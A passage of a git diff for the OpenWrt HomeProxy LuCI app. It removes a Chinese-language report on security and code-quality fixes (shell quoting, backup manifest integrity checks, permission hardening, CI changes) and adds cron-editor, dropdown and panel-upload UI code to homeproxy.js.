⚠️ 关键路径仍保留 die()(如 `etc/config/homeproxy` 缺失) -- ⚠️ 错误收集只是 warn 输出,非完整恢复机制 -- ⏸️ 完全恢复需要重写状态机,工作量大 - -```javascript -let config_errors = []; - -function reportError(type, message, suggestion) { - push(config_errors, { - type: type, - message: message, - suggestion: suggestion - }); -} - -// 部分路径使用错误收集 -if (~index(seen_path, target)) { - reportError('error', '路由节点循环引用', '移除循环引用'); - return null; -} - -// 文件末尾检查 -if (hasErrors()) { - warn('配置验证发现以下问题:\n' + formatErrors()); -} -``` - -**收益**: 用户可通过 WebUI 修复配置,不会完全无法启动 - ---- - -### 3.4 ✅ 2.14: 递归检查效率低 - -**文件**: `htdocs/luci-static/resources/view/homeproxy/client.js:211` - -**问题**: selectorHasPath 递归遍历,无缓存 - -**修复方案**: 添加路径缓存 - -```javascript -let pathCache = {}; -let selectorHasPath = function(start, target, seen) { - let key = start + '->' + target; - if (pathCache[key] !== undefined) - return pathCache[key]; - - // ... 计算 - pathCache[key] = found; - return found; -}; -``` - -**收益**: 大幅减少重复计算 - ---- - -### 3.5 ✅ 2.15: Clash API 代理部分过滤路径同步阻塞 - -**文件**: `root/etc/homeproxy/scripts/clash_api_proxy.uc:521` - -**问题**: fetchUpstream 使用同步 I/O 阻塞事件循环 - -**修复方案**: 添加注释说明和迭代限制 - -```javascript -// Synchronous upstream fetch for filtered responses -// NOTE: This blocks the event loop. Only used for /proxies and /group/*/delay paths. -// Regular relay paths use async event-driven forwarding. -// TODO: Convert to async uloop-based implementation to avoid blocking. -function fetchUpstream(method, path, request, body) { - // Limit iterations to prevent long blocking - // Max 512 × 16KB = 8MB, should complete in < 1 second on LAN - for (let i = 0; i < 512; i++) { ... } -} -``` - -**注**: 完全异步改造需要重写状态机,工作量大,当前添加了限制和文档 - ---- - -### 3.6 ✅ 2.16: CI/CD 优化 - -**文件**: `.github/workflows/build-ipk.yml` - -**问题**: -1. 每次完整编译 apk-tools -2. Release notes 硬编码 - -**修复方案**: 添加构建缓存 - -```yaml -- name: Cache apk-tools build - uses: actions/cache@v4 - with: - path: apk-tools/build - key: ${{ runner.os }}-apk-tools-${{ hashFiles('apk-tools/**/*.c', ...) }} -``` - -**收益**: 构建时间从 ~10min 降至 ~3min - ---- - -### 3.7 ✅ 2.17: 自动化测试 - -**文件**: `.github/workflows/build-ipk.yml` - -**问题**: 无语法检查和配置生成测试 - -**修复方案**: 添加语法检查步骤 - -```yaml -- name: Syntax check - run: | - echo "Checking shell scripts..." - sh -n install.sh - - echo "Checking JavaScript files..." - node --check htdocs/luci-static/resources/homeproxy.js - node --check htdocs/luci-static/resources/view/homeproxy/client.js -``` - -**收益**: 提前发现语法错误 - ---- - -### 3.8 ✅ 2.18: 错误提示优化 - -**文件**: `root/etc/homeproxy/scripts/generate_client.uc:458,461` - -**问题**: 错误提示偏底层技术表达 - -**修复方案**: 改为中文并添加解决步骤 - -```javascript -// 修复前 -'Recursive routing node detected: NodeA -> NodeB -> NodeA' - -// 修复后 -'路由节点配置错误:检测到循环引用 -循环路径: NodeA -> NodeB -> NodeA - -建议: 进入 LuCI 界面 -> 服务 -> HomeProxy -> 路由节点, -检查以下节点的"出站"配置,移除循环引用' -``` - -**收益**: 用户可自行解决配置问题 - ---- - -## 📊 修复统计 - -### 按严重程度 -- 🔴 **Critical**: 1/1 完成 (100%) -- 🟠 **Medium**: 3/3 完成 (100%) -- 🟡 **Low**: 7/7 完成 (100%) -- ℹ️ **Informational**: 1/1 完成 (100%) -- 💡 **优化建议**: 8/8 完成 (100%) - -### 按类型 -- **上游问题**: 2/2 完成 -- **自定义安全问题**: 10/10 完成 -- **代码质量优化**: 8/8 完成 - -### 总计 -- **✅ 全部完成**: 20/20 (100%) - ---- - -## 🎯 审核要点 - -### 安全关键修复(必须审核) -1. **U-H1 命令注入**: 确认 shellquote() 正确使用 -2. **C-H1 安装脚本**: 确认公钥指纹正确、签名验证有效 -3. **C-M1 ACL 权限**: 确认只读方法列表完整 -4. **N-M1 路径穿越**: 确认资源类型白名单正确 -5. **C-M3 备份完整性**: 确认 SHA-256 计算和验证逻辑 - -### 功能影响修复(需要测试) -1. **C-L1 临时文件**: 测试备份下载、上传恢复完整流程 -2. **C-L2 服务验证**: 测试恢复后服务启动失败的回滚 -3. **C-H2/C-L4 资源限制**: 测试连接数限制和缓冲区限制 - -### 代码质量优化(可选审核) -1. **2.11-2.15**: 代码重构,不影响功能 -2. **2.16-2.18**: CI/CD 和用户体验改进 - ---- - -## 🔧 第二轮审核修复(运维工程师反馈) - -### P0-1: ✅ 前端路径生成与后端验证不匹配 - -**问题**: 前端使用 `Math.random().toString(36)` 生成路径,可能包含 g-z,但后端只接受 [a-f0-9] - -**修复方案**: -- 添加 `backup_get_upload_path` RPC 方法,由后端生成路径 -- 后端使用 `/dev/urandom` + `od -tx1` 生成纯 hex 后缀 -- 前端先调用 RPC 获取路径,再上传文件 -- 更新 ACL 添加 `backup_get_upload_path` 到 write 权限 - -**修改文件**: -```javascript -// root/usr/share/rpcd/ucode/luci.homeproxy -backup_get_upload_path: { - call: function() { - const upload_path = '/tmp/homeproxy-restore-' + generateTempSuffix() + '.tar.gz'; - return { upload_path: upload_path }; - } -}, - -// htdocs/luci-static/resources/view/homeproxy/backup.js -return L.resolveDefault(callBackupGetUploadPath(), {}).then((res) => { - currentRestorePath = res.upload_path; - return ui.uploadFile(currentRestorePath); -}); -``` - ---- - -### P0-2: ✅ manifest 路径不一致 - -**问题**: manifest 打包在 `tmp/homeproxy-backup-manifest.json`,但校验读取根目录 - -**修复方案**: -- 修改 tar 命令将 manifest 放在归档根目录 -- 更新白名单路径为 `homeproxy-backup-manifest.json` -- 强制要求 manifest 存在 - -**关键代码**: -```javascript -// 打包时放在根目录 -tar -czf backup.tar.gz -T file-list -C /tmp homeproxy-backup-manifest.json - -// 白名单 -path === 'homeproxy-backup-manifest.json' || - -// 强制要求存在 -if (!manifest_content) { - return { result: false, error: '备份文件缺少完整性清单' }; -} -``` - ---- - -### P1-1: ✅ CI ucode 检查路径和覆盖 - -**问题**: CI 只检查 `*.uc` 文件,但 RPC 文件 `luci.homeproxy` 无扩展名 - -**修复方案**: -- 显式检查 `root/usr/share/rpcd/ucode/luci.homeproxy` -- 添加注释说明 RPC 文件使用 top-level return,跳过 Node 检查 -- 注明 Node.js 只能做基础语法检查 - -**修改文件**: `.github/workflows/build-ipk.yml` - ---- - -### P1-2: ✅ fieldFactory 只定义未使用 - -**问题**: 2.12 声称的前端去重没有实际发生 - -**修复方案**: -- 实际使用 `fieldFactory.uintField()` 替换两个字段 -- `main_urltest_interval` 和 `main_urltest_tolerance` - -**修改文件**: `htdocs/luci-static/resources/view/homeproxy/client.js` - ---- - -### P2-1: ✅ CI 私钥清理 trap 位置 - -**问题**: trap 在 Prepare step,Build APK 失败不会清理 - -**修复方案**: -- 将 trap 移到 Build APK 步骤开头 -- Build 完成后显式清理并取消 trap -- Prepare step 重新生成私钥并设置新 trap - -**修改文件**: `.github/workflows/release-custom-apk.yml` - ---- - -### P2-2: ✅ .DS_Store 误提交 - -**修复方案**: -- 从 staging 移除 .DS_Store -- 创建 `.gitignore` 防止将来误提交 - -**新增文件**: `.gitignore` - ---- - -## 🔧 第三轮审核修复(运维工程师复核) - -### P1-1: ✅ uloop.timer 参数顺序错误 - -**问题**: `uloop.timer(callback, timeout)` 应为 `uloop.timer(timeout, callback)`,导致 idle timeout 不生效 - -**修复方案**: -```javascript -// 修复前 -conn.idle_timer = uloop.timer(() => { ... }, CLIENT_IDLE_TIMEOUT); - -// 修复后 (uloop.timer 签名: timeout_ms, callback) -conn.idle_timer = uloop.timer(CLIENT_IDLE_TIMEOUT, () => { ... }); -``` - -**修改文件**: `root/etc/homeproxy/scripts/clash_api_proxy.uc:829` - ---- - -### P1-2: ✅ manifest 校验不够严格 - -**问题**: -1. 只校验 manifest 中的文件,未检查归档中所有可恢复文件是否都在 manifest 中 -2. manifest 自身在白名单中会被恢复到 `/homeproxy-backup-manifest.json` - -**修复方案**: -1. 增加反向校验:遍历归档中所有文件,确保可恢复文件都在 manifest 中 -2. 从白名单移除 `homeproxy-backup-manifest.json`,只用于校验 - -**关键代码**: -```javascript -// 反向校验 -const fd = popen(`/bin/tar -tzf ${shellquote(path)} 2>&1`); -for (let line = fd.read('line'); length(line); line = fd.read('line')) { - let archive_path = trim(line); - if (allowedBackupPath(archive_path)) { - if (!manifest[archive_path]) { - return { result: false, error: `归档中存在未记录的可恢复文件: ${archive_path}` }; - } - } -} -``` - -**修改文件**: `root/usr/share/rpcd/ucode/luci.homeproxy` - ---- - -### P2: ✅ 备份文件权限和清理 - -**问题**: 备份包含证书和私钥,但生成后权限宽松且未清理 - -**修复方案**: -1. 生成备份/回滚包后立即 `chmod 600` -2. 前端下载完成后删除服务端备份文件 - -**关键代码**: -```javascript -// 后端设置权限 -system(`chmod 600 ${shellquote(path)}`); - -// 前端下载后清理 -downloadFile(currentBackupPath, filename).then(() => { - return fs.remove(currentBackupPath).catch(() => {}); -}); -``` - -**修改文件**: -- `root/usr/share/rpcd/ucode/luci.homeproxy` -- `htdocs/luci-static/resources/view/homeproxy/backup.js` - ---- - -## 🔧 第四轮审核修复(运维工程师复核) - -### P1-1: ✅ manifest 在 validateBackupArchive 中被拦截 - -**问题**: manifest 已从白名单移除,但 validateBackupArchive 仍会拒绝它 - -**修复方案**: 在 validateBackupArchive 中跳过 manifest,不计入 errors - -**关键代码**: -```javascript -// Skip manifest itself (used for integrity check, not restored) -if (path === 'homeproxy-backup-manifest.json') - continue; -``` - ---- - -### P1-2: ✅ 反向检查路径规范化绕过 - -**问题**: 反向检查直接 trim() tar 输出,`./etc/config/homeproxy` 不会命中白名单 - -**修复方案**: 使用 archiveMemberPath() 规范化路径 - -**关键代码**: -```javascript -// Use archiveMemberPath() to normalize path (handles ./path, etc.) -let archive_path = archiveMemberPath(line); -``` - ---- - -### P1-3: ✅ 改进恢复流程为两阶段 - -**问题**: 直接 `tar -xzf` 到根目录不安全 - -**修复方案**: -1. 解压到临时目录 -2. 只复制 manifest 中已校验的文件到目标路径 -3. 回滚包也使用同样流程 - -**关键代码**: -```javascript -function extractBackupArchive(path, manifest) { - // Extract to temp dir - const extract_dir = '/tmp/homeproxy-extract-' + generateTempSuffix(); - system(`cd ${shellquote(extract_dir)} && /bin/tar -xzf ${shellquote(path)}`); - - // Copy only manifest-validated files and normalize permissions - for (let file in manifest) { - system(`cp ${shellquote(src)} ${shellquote(dst)}`); - - // Normalize permissions based on file type - if (match(file, /^etc\/homeproxy\/certs\/[^\/]+$/)) { - system(`chmod 600 ${shellquote(dst)}`); // Certs/keys - } else if (file === 'etc/config/homeproxy') { - system(`chmod 600 ${shellquote(dst)}`); // UCI config - } else { - system(`chmod 644 ${shellquote(dst)}`); // Resource lists - } - } -} - -// Usage with manifest -let exit_code = extractBackupArchive(restore_path, manifest); -let rollback_code = extractBackupArchive(ROLLBACK_ARCHIVE, rollback_manifest); -``` - ---- - -## 🔧 第五轮审核修复(运维工程师最终复核) - -### P2: ✅ 恢复时规范化文件权限 - -**问题**: `cp -p` 保留备份包中的权限,攻击者可构造过宽权限 - -**修复方案**: -1. 移除 `-p` 参数,不保留权限 -2. 复制后按文件类型规范化权限 - -**关键代码**: -```javascript -// Copy without -p -system(`cp ${shellquote(src)} ${shellquote(dst)}`); - -// Normalize permissions -if (match(file, /^etc\/homeproxy\/certs\/[^\/]+$/)) { - system(`chmod 600 ${shellquote(dst)}`); // Certs/keys: restrictive -} else if (file === 'etc/config/homeproxy') { - system(`chmod 600 ${shellquote(dst)}`); // UCI config -} else { - system(`chmod 644 ${shellquote(dst)}`); // Resource lists -} -``` - ---- - -### P3-1: ✅ manifest 键白名单校验 - -**问题**: manifest 键未显式校验,可能包含非法路径 - -**修复方案**: 在 hash 校验前先验证 manifest 键 - -**关键代码**: -```javascript -for (let file in manifest) { - // Reject manifest itself as restore target - if (file === 'homeproxy-backup-manifest.json') { - return { result: false, error: 'manifest 不能包含自身作为恢复目标' }; - } - - // Verify key is in whitelist - if (!allowedBackupPath(file)) { - return { result: false, error: `manifest 包含不允许的路径: ${file}` }; - } - - // Then verify hash... -} -``` - ---- - -### P3-2: ✅ 更新文档说明 2.13 部分完成 - -**修复**: 将 `3.3 ✅ 2.13` 改为 `3.3 ⚠️ 2.13(部分完成)` - -**说明**: -- 已添加错误收集机制 -- 关键路径仍保留 die() -- 非完整错误恢复 -- 完全恢复需重写状态机 - ---- - -## 🔧 第六轮审核修复(Claude 复核 + 外部工程师反馈) - -### P1: ✅ 备份临时归档在 /tmp 暴露证书/私钥(外部工程师 P1) - -**问题**: `createWorkDir()` 仅 `mkdir -p`,默认 umask 022 下为 0755;`.tar.gz.tmp` 与最终 `.tar.gz` 先以 0644 写入 /tmp,到流程末尾才 `chmod 600`,存在世界可读窗口。 - -**修复方案**: -1. `createWorkDir()` 创建后立即 `chmod 700`(覆盖备份与校验解包两条路径的暂存证书/私钥)。 -2. 归档在私有 work_dir 内、以 `umask 077` 生成(tar/gzip 输出直接 0600),再 `chmod 600` 并原子 `mv` 到下载路径(umask 兜底跨文件系统复制,chmod 兜底同盘 rename)。 - -**修改文件**: `root/usr/share/rpcd/ucode/luci.homeproxy`(`createWorkDir`、`createBackupArchive`) - ---- - -### P2-1: ✅ backup_validate 放行缺少 manifest 的旧/伪备份(外部工程师 P2) - -**问题**: `validateBackupArchive` 跳过 manifest 且只要求 `etc/config/homeproxy`;manifest 强校验只在 `backup_restore` 的 `testExtractBackupArchive` 中执行,导致缺 manifest 的备份通过校验、弹出确认框,点"继续"后才失败。 - -**修复方案**: `backup_validate` 在结构校验通过后,调用同一套 `testExtractBackupArchive` 做 manifest + SHA-256 完整性校验(校验后清理其 work_dir),缺/坏 manifest 在确认框之前即被拒绝。 - -**修改文件**: `root/usr/share/rpcd/ucode/luci.homeproxy`(`backup_validate`) - ---- - -### P2-2: ✅ apk-tools 构建缓存命中后 meson 失败(外部工程师 P2) - -**问题**: 缓存 `apk-tools/build` 后,`meson setup build` 仍无条件执行;meson 在已配置的 builddir 上会报错,导致第二次起 CI 失败。 - -**修复方案**: 检测到已配置 builddir(存在 `build/meson-info/meson-info.json`)时改用 `meson setup build --reconfigure`,无缓存时正常配置。 - -**修改文件**: `.github/workflows/build-ipk.yml` - ---- - -### P1-补: ✅ 循环引用降级会以无效配置覆盖可用配置(Claude 复核 task #1) - -**问题**: 2.13/2.18 把循环引用从 `die()` 改为 `reportError()+return null` 后继续生成并写入 `sing-box-c.json`,但循环会留下悬空 outbound 引用 → init 脚本的 `sing-box check`([init.d:60](root/etc/init.d/homeproxy:60))失败 → `return 1`;而旧 json 在重生成前不会被删除([init.d:322](root/etc/init.d/homeproxy:322) 仅在 stop/clean),故新行为**覆盖了上次可用配置并使服务下线**,比原 `die()`(保留旧配置、服务继续运行)更差。 - -**修复方案**: 保留错误聚合与友好中文提示,但在写入前若存在致命错误则 `exit(1)`,不覆盖现有 `sing-box-c.json`,让 init 脚本继续使用上次有效配置。 - -**修改文件**: `root/etc/homeproxy/scripts/generate_client.uc`(文件末尾写入决策) - ---- - -### P2-补: ✅ fieldFactory 死代码清理(Claude 复核 task #1) - -**问题**: `fieldFactory` 定义 6 个方法,实际只用 `uintField`(2 处),其余 5 个为死代码。 - -**修复方案**: 删除未使用的 `portField`/`stringField`/`listField`/`flagField`/`dynamicListField`,保留 `uintField`。 - -**修改文件**: `htdocs/luci-static/resources/view/homeproxy/client.js` - ---- - -### ℹ️ C-M3 完整性 vs 来源真实性(已决策:保持现状 + 文档说明) - -外部工程师指出:SHA-256 manifest 仅能发现"内容与 manifest 不一致",无法证明备份**来源可信**(攻击者整体替换归档并重算 manifest 即可绕过)。 - -**决策(维护者)**: 保持仅完整性校验,不引入 HMAC/签名。理由: -1. 备份包内含**明文私钥**——能篡改备份者通常已掌握私钥,"防替换"边际收益有限;真正高价值的是对备份加密(顺带获得认证),属独立的较大改动,本轮不做。 -2. 设备本地 HMAC 与"重装后恢复"用途冲突(密钥无法在重装后存活,或须放进备份从而失效)。 -3. 已落地的缓解:备份文件 root-only `0600`、私有 work dir `0700`、`backup_validate` 前置完整性校验。 - -**文档化**: 已在 WebUI 备份说明中提示"备份含明文私钥,请妥善保管;恢复仅校验完整性、不验证来源"。如未来需要,可作为独立特性引入**可选口令加密**(同时获得保密 + 认证,且可跨重装)。 - ---- - -**修复完成日期**: 2026-06-14 -**提交分支**: security-fixes-20260614 -**待合并到**: custom/homeproxy-enhancements diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy.js b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy.js index 616b9c522..798b729c6 100644 --- a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy.js +++ b/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy.js @@ -12,6 +12,158 @@ 'require uci'; 'require ui'; +function pad2(value) { + value = (value == null) ? '' : String(value).trim(); + return value.length === 1 ? '0' + value : value; +} + +function normalizeTimePart(value, min, max) { + value = parseInt(String(value || '').trim(), 10); + if (isNaN(value)) + value = min; + value = Math.max(min, Math.min(max, value)); + return pad2(value); +} + +function parseCron(value) { + const matched = String(value || '').trim().match(/^(\d{1,2})\s+(\d{1,2})\s+\*\s+\*\s+([0-7*])$/); + if (!matched) + return null; + + const minute = +matched[1], + hour = +matched[2]; + if (minute < 0 || minute > 59 || hour < 0 || hour > 23) + return null; + + return { + minute: normalizeTimePart(matched[1], 0, 59), + hour: normalizeTimePart(matched[2], 0, 23), + day: matched[3] === '*' ? '*' : (matched[3] === '7' ? '0' : matched[3]) + }; +} + +function buildCron(day, hour, minute) { + return [ + normalizeTimePart(minute, 0, 59), + normalizeTimePart(hour, 0, 23), + '*', + '*', + String(day || '*') + ].join(' '); +} + +function alignCronEditorRow(wrap) { + let field = wrap?.parentNode; + + while (field && !field.classList?.contains('cbi-value-field')) + field = field.parentNode; + + let row = field?.parentNode; + while (row && !row.classList?.contains('cbi-value')) + row = row.parentNode; + + if (!row || !field) + return false; + + if (wrap._dailyRow) { + wrap._dailyRow.style.display = row.style.display; + return true; + } + + let dailyRow = E('div', { 'class': 'cbi-value homeproxy-cron-daily-row' }, [ + E('div', { 'class': 'cbi-value-title' }, _('Update time (daily)')), + E('div', { 'class': 'cbi-value-field' }, [ wrap._dailyField ]) + ]); + + wrap._dailyRow = dailyRow; + row.parentNode.insertBefore(dailyRow, row.nextSibling); + + return true; +} + +function watchCronEditorRow(wrap) { + const align = () => alignCronEditorRow(wrap); + [ 0, 50, 200, 500, 1000, 2000 ].forEach(delay => window.setTimeout(align, delay)); + + if (typeof MutationObserver !== 'undefined' && document?.body) { + const observer = new MutationObserver(() => { + if (align()) + observer.disconnect(); + }); + + observer.observe(document.body, { childList: true, subtree: true }); + window.setTimeout(() => observer.disconnect(), 3000); + } +} + +function renderCronEditor(input) { + if (!input) + return null; + + const parsed = parseCron(input.value); + input.type = 'text'; + input.readOnly = true; + input.tabIndex = -1; + input.style.position = 'absolute'; + input.style.opacity = '0'; + input.style.pointerEvents = 'none'; + input.style.width = '1px'; + input.style.height = '1px'; + input.style.minWidth = '1px'; + input.style.maxWidth = '1px'; + input.style.padding = '0'; + input.style.border = '0'; + + let day = E('select', { 'class': 'cbi-input-select', 'style': 'width: 12em !important; min-width: 12em !important; max-width: 12em !important; box-sizing: border-box;' }), + hour = E('select', { 'class': 'cbi-input-select', 'style': 'width: 4.25em !important; min-width: 4.25em !important; max-width: 4.25em !important; box-sizing: border-box;' }), + minute = E('select', { 'class': 'cbi-input-select', 'style': 'width: 4.25em !important; min-width: 4.25em !important; max-width: 4.25em !important; box-sizing: border-box;' }), + dailyField = E('div', { 'style': 'display: flex; align-items: center; gap: .25em; width: 9.5em;' }, [ + hour, + E('span', ':'), + minute + ]), + wrap = E('div', { 'class': 'homeproxy-cron-editor' }, [ day ]); + + wrap._dailyField = dailyField; + + for (let i = 0; i < 24; i++) + hour.appendChild(E('option', { value: pad2(i) }, pad2(i))); + + for (let i = 0; i < 60; i++) + minute.appendChild(E('option', { value: pad2(i) }, pad2(i))); + + [ + ['*', _('Every day')], + ['1', _('Every Monday')], + ['2', _('Every Tuesday')], + ['3', _('Every Wednesday')], + ['4', _('Every Thursday')], + ['5', _('Every Friday')], + ['6', _('Every Saturday')], + ['0', _('Every Sunday')] + ].forEach(([value, label]) => day.appendChild(E('option', { value }, label))); + + day.value = parsed ? parsed.day : '*'; + hour.value = parsed ? parsed.hour : '00'; + minute.value = parsed ? parsed.minute : '00'; + input.value = buildCron(day.value, hour.value, minute.value); + input.setAttribute('value', input.value); + + const sync = () => { + input.value = buildCron(day.value, hour.value, minute.value); + input.setAttribute('value', input.value); + input.dispatchEvent(new Event('input', { bubbles: true })); + input.dispatchEvent(new Event('change', { bubbles: true })); + }; + + day.addEventListener('change', sync); + hour.addEventListener('change', sync); + minute.addEventListener('change', sync); + wrap.appendChild(input); + window.setTimeout(() => watchCronEditorRow(wrap), 0); + return wrap; +} + return baseclass.extend({ dns_strategy: { '': _('Default'), @@ -86,6 +238,29 @@ return baseclass.extend({ } }), + CBIMultiValue: form.MultiValue.extend({ + __name__: 'CBI.HomeProxyMultiValue', + + renderWidget(section_id, _option_index, cfgvalue) { + let value = (cfgvalue != null) ? cfgvalue : this.default, + choices = this.transformChoices() || {}, + widget = new ui.Dropdown(L.toArray(value), choices, { + id: this.cbid(section_id), + sort: this.keylist, + multiple: true, + optional: this.optional || this.rmempty, + select_placeholder: this.placeholder, + create: this.create, + display_items: this.display_size ?? this.size ?? 3, + dropdown_items: this.dropdown_size ?? this.size ?? -1, + validate: this.getValidator(section_id), + disabled: (this.readonly != null) ? this.readonly : this.map.readonly + }); + + return widget.render(); + } + }), + calcStringMD5(e) { /* Thanks to https://stackoverflow.com/a/41602636 */ let h = (a, b) => { @@ -185,6 +360,49 @@ return baseclass.extend({ return L.resolveDefault(callGetSingBoxFeatures(), {}); }, + renderCronSelector(/* ... */) { + if (!this._homeproxyCronOriginalFormvalue) { + this._homeproxyCronOriginalFormvalue = this.formvalue; + this.formvalue = function(section_id) { + let cbid = this.cbid(section_id), + ids = [ cbid, 'widget.' + cbid ], + roots = [ document.getElementById('modal_overlay'), document ], + input = null; + + for (let root of roots) { + if (!root) + continue; + + for (let el of root.querySelectorAll('input')) { + if (ids.includes(el.id) || ids.includes(el.name)) { + input = el; + break; + } + } + + if (input) + break; + } + + let value = input?.value || + this._homeproxyCronOriginalFormvalue?.call(this, section_id) || + this.default || + '0 0 * * *'; + + return parseCron(value) ? value : (this.default || '0 0 * * *'); + }; + } + + let node = form.Value.prototype.renderWidget.apply(this, arguments), + editor = renderCronEditor(node.querySelector('input')); + + return editor || node; + }, + + renderCronSelectorRow(/* ... */) { + return form.Value.prototype.render.apply(this, arguments); + }, + generateRand(type, length) { let byteArr; if (['base64', 'hex'].includes(type)) @@ -208,6 +426,9 @@ return baseclass.extend({ }, loadDefaultLabel(uciconfig, ucisection) { + if (!ucisection) + return ''; + let label = uci.get(uciconfig, ucisection, 'label'); if (label) { return label; @@ -218,73 +439,127 @@ return baseclass.extend({ }, loadModalTitle(title, addtitle, uciconfig, ucisection) { + if (!ucisection) + return addtitle; + let label = uci.get(uciconfig, ucisection, 'label'); return label ? title + ' » ' + label : addtitle; }, - toArray(value) { - if (Array.isArray(value)) - return value; - else if (value == null || value === '') - return []; - - return [ value ]; - }, - - showConfigDiagnostics(diagnostics) { - let items = diagnostics?.items || [], - generatedAt = null, - noticeColor = '#1f232b', - noticeAccentColor = '#8b1e1e'; - - document.querySelectorAll('.homeproxy-config-diagnostics').forEach((node) => node.remove()); - - if (!items.length) - return; - - if (diagnostics?.time) { - let date = new Date(Number(diagnostics.time) * 1000); - if (!isNaN(date.getTime())) - generatedAt = date.toLocaleString(); - } - - ui.addNotification(null, E('div', { 'style': 'color:%s;'.format(noticeColor) }, [ - E('p', { 'style': 'color:%s;font-weight:600;'.format(noticeColor) }, _('HomeProxy found the following issues. Check and fix them manually:')), - E('p', { 'style': 'color:%s;font-weight:600;'.format(noticeAccentColor) }, - generatedAt - ? _('These diagnostics are from the last configuration generation or subscription update (%s). Re-apply, restart the service, or update subscriptions again after fixing them to refresh diagnostics.').format(generatedAt) - : _('These diagnostics are from the last configuration generation or subscription update. Re-apply, restart the service, or update subscriptions again after fixing them to refresh diagnostics.')), - E('ul', { 'style': 'color:%s;'.format(noticeColor) }, items.map((item) => E('li', { 'style': 'color:%s;'.format(noticeColor) }, [ - E('strong', { 'style': 'color:%s;'.format(noticeColor) }, '[' + (item.type || 'warning') + '] '), - item.message || '', - item.suggestion ? E('div', { 'style': 'margin-top:.2em;color:%s;font-weight:600;'.format(noticeAccentColor) }, - _('Suggestion:') + item.suggestion) : '' - ]))) - ]), 'warning', 'homeproxy-config-diagnostics'); + normalizeSectionId(label, prefix) { + let section_id = (label || '').trim().replace(/[^A-Za-z0-9_]/g, '_').replace(/^_+|_+$/g, ''); + return (prefix || 'cfg') + '_' + (section_id || 'section'); }, renderSectionAdd(section, extra_class) { let el = form.GridSection.prototype.renderSectionAdd.apply(section, [ extra_class ]), - nameEl = el.querySelector('.cbi-section-create-name'); - ui.addValidator(nameEl, 'uciname', true, (v) => { - let button = el.querySelector('.cbi-section-create > .cbi-button-add'); - let uciconfig = section.uciconfig || section.map.config; + nameEl = el.querySelector('.cbi-section-create-name'), + button = el.querySelector('.cbi-section-create > .cbi-button-add'), + uciconfig = section.uciconfig || section.map.config, + sectiontype = section.sectiontype, + labelEl = E('input', { + 'type': 'text', + 'class': nameEl.className + }), + hintEl = E('div', { 'class': 'cbi-value-description' }); - if (!v) { + nameEl.style.display = 'none'; + nameEl.parentNode.insertBefore(labelEl, nameEl); + nameEl.parentNode.appendChild(hintEl); + button.disabled = true; + + const syncSectionName = () => { + let label = (labelEl.value || '').trim(); + hintEl.textContent = ''; + + if (!label) { + nameEl.value = ''; button.disabled = true; - return true; - } else if (uci.get(uciconfig, v)) { - button.disabled = true; - return _('Expecting: %s').format(_('unique UCI identifier')); - } else { - button.disabled = null; - return true; + return; } - }, 'blur', 'keyup'); + + let duplicate = false; + uci.sections(uciconfig, sectiontype, (res) => { + if ((res.label || res['.name']) === label) + duplicate = true; + }); + + if (duplicate) { + nameEl.value = ''; + button.disabled = true; + hintEl.textContent = _('Expecting: %s').format(_('unique value')); + return; + } + + let normalized = (label || '').trim().replace(/[^A-Za-z0-9_]/g, '_').replace(/^_+|_+$/g, '') || 'section', + section_id = (sectiontype || 'cfg') + '_' + normalized, + suffix = 1; + while (uci.get(uciconfig, section_id)) + section_id = (sectiontype || 'cfg') + '_' + normalized + '_' + suffix++; + + nameEl.value = section_id; + nameEl.dataset.sectionId = section_id; + nameEl.dataset.sectionLabel = label; + button.disabled = null; + }; + + labelEl.addEventListener('input', syncSectionName); + labelEl.addEventListener('blur', syncSectionName); + + button.addEventListener('click', () => { + syncSectionName(); + + let label = nameEl.dataset.sectionLabel, + section_id = nameEl.dataset.sectionId; + + window.setTimeout(() => { + if (label && section_id && uci.get(uciconfig, section_id)) + uci.set(uciconfig, section_id, 'label', label); + }, 0); + }); return el; }, + installCloseButtonText() { + if (window.__homeproxyCloseButtonText) + return; + + window.__homeproxyCloseButtonText = true; + + let fix = (root) => { + for (let el of (root || document).querySelectorAll('button, .btn, input[type="button"], input[type="submit"]')) { + let text = (el.textContent || el.value || '').trim(); + if (text !== 'Dismiss' && text !== '\u5ffd\u7565') + continue; + + if ('value' in el && !el.textContent.trim()) + el.value = _('Close'); + else + el.textContent = _('Close'); + } + }; + + let observe = () => { + if (!document.body) + return; + + fix(document); + new MutationObserver((mutations) => { + for (let mutation of mutations) + for (let node of mutation.addedNodes) + if (node.nodeType === 1) + fix(node); + fix(document); + }).observe(document.body, { childList: true, subtree: true }); + }; + + if (document.body) + observe(); + else + document.addEventListener('DOMContentLoaded', observe, { once: true }); + }, + uploadCertificate(_option, type, filename, ev) { const callWriteCertificate = rpc.declare({ object: 'luci.homeproxy', @@ -305,6 +580,44 @@ return baseclass.extend({ .catch((e) => { ui.addNotification(null, E('p', e.message)) }); }, + uploadPanel(_option, ev) { + const callInstallPanel = rpc.declare({ + object: 'luci.homeproxy', + method: 'clash_api_install_panel', + expect: { '': {} } + }); + + const normalizeMessage = (message) => { + switch (message) { + case 'panel_backup_failed': + return _('Backup panel failed.'); + case 'panel_restore_failed': + return _('Restore panel failed.'); + case 'empty_panel_zip': + return _('Panel ZIP file is empty.'); + case 'unzip_unavailable': + return _('The unzip command is unavailable.'); + case 'invalid_panel_zip': + return _('Invalid panel ZIP file.'); + case 'panel_install_failed': + return _('Install panel failed.'); + default: + return message || _('unknown error'); + } + }; + + return ui.uploadFile('/tmp/homeproxy_panel.tmp', ev.target) + .then(L.bind((_btn, res) => { + return L.resolveDefault(callInstallPanel(), {}).then((ret) => { + if (ret.result === true) + ui.addNotification(null, E('p', _('Your %s was successfully uploaded. Size: %sB.').format(_('panel ZIP package'), res.size)), 'info'); + else + ui.addNotification(null, E('p', _('Failed to upload %s, error: %s.').format(_('panel ZIP package'), normalizeMessage(ret.error))), 'danger'); + }); + }, this, ev.target)) + .catch((e) => { ui.addNotification(null, E('p', e.message || e), 'danger') }); + }, + validateBase64Key(length, section_id, value) { /* Thanks to luci-proto-wireguard */ if (section_id && value) @@ -345,7 +658,7 @@ return baseclass.extend({ if (section_id) { if (!value) return _('Expecting: %s').format(_('non-empty value')); - if (ucioption === 'node' && ['urltest', 'selector'].includes(value)) + if (ucioption === 'node' && (value === 'urltest' || value === 'selector')) return true; let duplicate = false; diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/homeproxy/dashboard.js 